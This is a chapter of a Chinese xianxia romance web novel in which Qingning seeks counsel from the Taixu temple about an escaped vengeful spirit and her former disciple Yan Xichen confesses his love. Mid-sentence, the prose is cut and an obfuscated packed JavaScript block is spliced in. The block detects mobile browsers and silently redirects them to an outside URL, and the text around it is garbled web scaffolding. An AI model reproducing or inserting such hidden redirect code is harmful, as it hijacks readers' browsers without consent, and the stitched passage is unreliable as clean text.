“怨魂本已于万年前被封印于地底,这万年来相安无事,时间久远,各大门派的藏书阁中均未记载,我是在魔族一本古老的书籍中发现的,怨魂起初只是一团气,并没有真实的形体,他依靠吸食人的怨念而生,不死不灭,只要这世间有人有怨念,他就不会消散。”晏溪尘解释道。
清宁皱起眉头:“这世上还有如此邪门又变态的存在吗?”
“我怀疑怨魂已经突破了封印,重现于世了。”晏溪尘接着道。
“你是说这一切可能与怨魂有关?”
晏溪尘点头:“这只是我的猜测。”
清宁需要时间消化这个信息,她想了想说道:“我想去一趟太虚观,我想太虚观的洞微真人或许能给出指引。”
太虚观与各大修仙门派不同,不管世事,不理纷争,超脱世俗。清宁记得师父说过,洞微真人的修为深不可测,已近仙境,或许能给她想要的信息。
去太虚观路程千里,清宁唤出了绒绒球,幻化出刚好能乘坐两人的大小,只是绒绒球见到晏溪尘有点害怕,似是很抗拒靠近晏溪尘。
清宁贴着绒绒球耳边轻声教训道:“绒绒球,你怎么回事,你之前还驮过他,你忘了?”
绒绒球只一味摇头后退。
晏溪尘瞥了一眼绒绒球,它立刻吓得抖了抖,往清宁身上靠了靠。
“我不需要坐骑,在后面跟着你们即可。”晏溪尘道。
“它平时不这样,今天也不知道怎么了,见谅啊。”清宁有些尴尬地笑笑。
太虚观路途遥远,即使是坐着绒绒球日夜兼程也需要三日,清宁不愿绒绒球太过劳累,中途休息了两晚,因此到达太虚观地界已是五日后。
太虚观被群山环绕,翻过重重仙山,最终两人到达了太虚观,只一块石碑,上面潦草地刻着“太虚观”三个大字,而周围是茂密的树林和花草,除此外,什么也没有。
清宁运转灵力将手放在石碑上,过不久,来了一名扎麻花辫的小童,麻花辫高高地扎在脑袋正中央,发尾绑着一条红绳,圆头圆脑,白白嫩嫩,仰着头,大大的眼睛盯着二人,奶声奶气道:“你二人来此有何事啊?”
清宁蹲下身子,摸摸他的小辫子说:“我们来拜见洞微真人,小童子,你可以帮我们引路吗?”
小童认真道:“我有名字,我叫知玄,不叫小童子。”
“那知玄可以带我们去见洞微真人吗?”清宁耐心道。
知玄点点头:“跟我来吧,真人已经在等你们了。”
“真人知道我们要来?”清宁疑惑道。
“那是,真人无所不知,无所不能”知玄一边走一边摆头,颇为自豪道。
清宁跟在知玄身后,眨眼间,周围已经大变样,楼阁仙山,溪流潺湲,奇花异木,仙鹤灵鹿徜徉其间。
二人跟着知玄踏上一座高楼,殿中坐着一人,他头发眉毛皆已花白,可皮肤却光滑白皙,无一丝褶皱,看起来实在有些怪异。
“拜见洞微真人。”清宁上前恭敬地行了一礼,余光见晏溪尘纹丝不动,拉着他一起行了个礼。
“二位请起,有什么问题就直接问吧。”洞微真人睁开眼睛,一双眼睛如古井般波澜不惊。
“我们想知道怨魂是否已突破了封印?”清宁问道。
“怨魂的确已于三年前突破封印,如今已附身于人,隐于人海中了。”洞微真人缓缓道来。
“怨魂出世,人间必定动荡,还请洞微真人指点该如何对付怨魂。”清宁虚心请教。
“万年前能封印,如今依然能封印。”洞微真人道,然后他身前缓缓浮现一枚像白玉一般的东西,“这是灵枢玉,能助你明辨气息,寻出被怨魂附身之人。”
清宁上前接过灵枢玉,这玉浑身洁白,晶莹剔透,放在手中沉甸甸的,有冰凉的触感。
“那封印之法真人可知晓?”清宁问。
洞微真人缓缓摇头:“记录封印之法的书册已经遗失,需要你们自己前去寻找,万年前,怨魂一分为二,一人名叫澜久,另一人名落晴,分别封印于地底深渊,如今逃出的是澜久,尚不足他全盛时期三分之一的实力,你们还有机会再次封印他。”
“不过,以你现在这副离魂状态的身躯,绝不是澜久的对手。”洞微真人的声音依旧平淡,却如重石砸在清宁的心底。
清宁震惊地看着洞微真人,说不出话来,她下意识转头看了一眼晏溪尘,只见他目光锐利地盯着洞微真人,并没有看向她,他也很震惊,但他震惊的好像不是怀希的身份,而是对洞微真人能一眼看穿她离魂状态的震惊。
洞微真人并不理会两人的震惊,继续道:“你现在的离魂状态是因为有人用了‘以命换命’之术保住你的魂魄不消散,但若身体与魂魄分离太久,魂魄会开始消散,长此以往,你会真正消散于这个世间。”
以命换命?是谁救了她呢?
“那该如何使魂魄回归身体?”晏溪尘急忙问道,对这个问题他比清宁还要着急。
洞微真人道:“界外之地有一天材地宝,名为‘还魂草’,可使身体和魂魄回归正位。”
晏溪尘陷入思考。
清宁问道:“真人可知我的身体在何处?”
洞微真人缓缓抬手,食指在空中挥动几下,一枚符咒浮现在半空中,这枚符缓缓落入清宁的眉心,然后隐入皮肤之下。
“催动这枚符咒可指引你寻到身体,我能做的就这么多,剩下的便看你们的造化了。”
清宁伸手摸了摸眉心,郑重对洞微真人行了一礼。
拜别了洞微真人,晏溪尘似乎还陷在思考之中,清宁打断他,质问道:“所以你早就知道我不是真的怀希?”
晏溪尘回过神来,点点头:“是。”
“什么时候知道的?”
他老实交代道:“你被追杀的那晚。”
清宁努力回想那晚发生了什么事,可她记得她没露馅啊,但确实从那晚之后,晏溪尘对她的态度明显改善了,甚至一度让她以为两人回到了在栖霞峰的日子。
“你还知道什么?”清宁接着问道。
晏溪尘盯着她的眼睛看了片刻,又将视线移开了,他在斟酌能不能说。
“说!”清宁盯着他。
“知道你的真实身份。”晏溪尘看着她,轻声说。
清宁有些晕,她顿了顿,艰难开口,尾音都带了点颤:“我是谁?”
“清宁。”他依旧盯着她,只是说到她的名字时,眼珠都在放光。
她如遭雷击,伫立在原地,久久没有反应,过了许久,她颤巍巍地说:“城东酒馆那日,你明知道我的真实身份,却仍与我...与我...”她已经说不出后面的话来。
晏溪尘点了点头。
清
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643497|188166||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宁扇了他一巴掌,愤怒中又震惊地盯着她:“晏溪尘,你疯了!”
清宁这一巴掌用了八分力,晏溪尘的头被打得偏向一旁,一瞬间,他脸上浮现清晰可见的手指印,可他似乎感受不到痛一般,轻轻扯着嘴角笑道:“师父终于肯认我了。”
清宁脑子里现在似乎有一团浆糊,她看着晏溪尘的模样,忍不住后退两步。
看晏溪尘却不给她机会,一把抓住她的手腕,不让她后退:“师父忘了吗?当初您将我亲自逐出师门,我现在已经不是你的弟子了,所以那一晚没什么的,师父别放在心上。”
嘴上说着不是她的弟子,却一口一个师父,叫得她老脸一红,不知是羞的还是气的。
他捧着清宁的手,放在已经泛红的那半张脸上,眼含秋波,楚楚可怜道:“弟子心悦师父,望师父垂怜。”
清宁抖了抖,下意识要抽回自己的手,可他不给她机会,牢牢地握住她的手,她盯着晏溪尘,难以置信道:“逆徒,你真的疯了。”
“师父对弟子难道没有一点点喜欢吗?当初师父明知弟子是魔,不但不杀弟子,反而还帮弟子隐藏身份,将弟子留在身边,后来弟子身份暴露,师父宁愿去蚀骨峰受罚,也要救弟子出地牢,城东酒馆那晚,师父明明也很喜欢的很享受的不是吗?”晏溪尘说出的话,犹如一把审判之刃,一字一句都在揭示着她的罪行。
提起城东酒馆那晚的事,清宁突然败下阵来,若说错,错得最离谱的就是她这个当师父的,是她先主动的,是她引诱晏溪尘在先,而他正处于血气方刚的年纪,经不住诱惑也怪不得他,一切要怪就怪她这个师父。
她原本愤怒的情绪突然就消失了,取而代之的是一种深深的羞愧和挫败感,她无力说道:“你走吧,从今以后我们桥归桥路归路,再无瓜葛。”
他紧紧地抓住她的胳膊,情绪激动起来:“师父又要像三年前那样将我抛下吗?”
呃...清宁语塞,三年前她自己连命都没了,还谈什么抛弃不抛弃,这孩子的脑回路是不是太奇怪了。
晏溪尘的手像犹如铁钳子一般,紧紧地抓住清宁的胳膊,她挣脱不开,只好道:“你先放开我。”
“不放!我这次绝对不会放开师父的手!”他倔强地像个孩子,无论清宁怎么说都不放开。
“你不放开,我怎么去界外之地寻找还魂草?”她无奈道。
“弟子和你一起去。”
“随便你。”
得到清宁的允许,晏溪尘终于放开了她的手。
她唤出绒绒球:“绒绒球,去界外之地。”过了一会又轻声在绒绒球耳边说,“把后面那个碍眼的家伙甩掉!”
绒绒球得了命令,使出全力往前飞,可晏溪尘总是精准地保持着不远也不近的距离跟在清宁身后,绒绒球飞得精疲力尽也没能甩掉晏溪尘,难过地“呜咽”两声。
清宁拍拍它的头:“甩不掉就甩不掉吧,难为你了,到前边的镇子上休息一晚吧。”
镇子外边有一家茶摊,清宁带着绒绒球去喝了一碗茶,顺便向茶摊主人打听附近的客栈,晏溪尘便默默地跟在她身后,既不靠近,也不远离。
镇子规模不大,只有一家很小的客栈,清宁要了一间房,晏溪尘跟在她身后,在她隔壁要了一个房间。
清宁奈何不了他,打不走骂不走,修为还没他高,便只能随他了。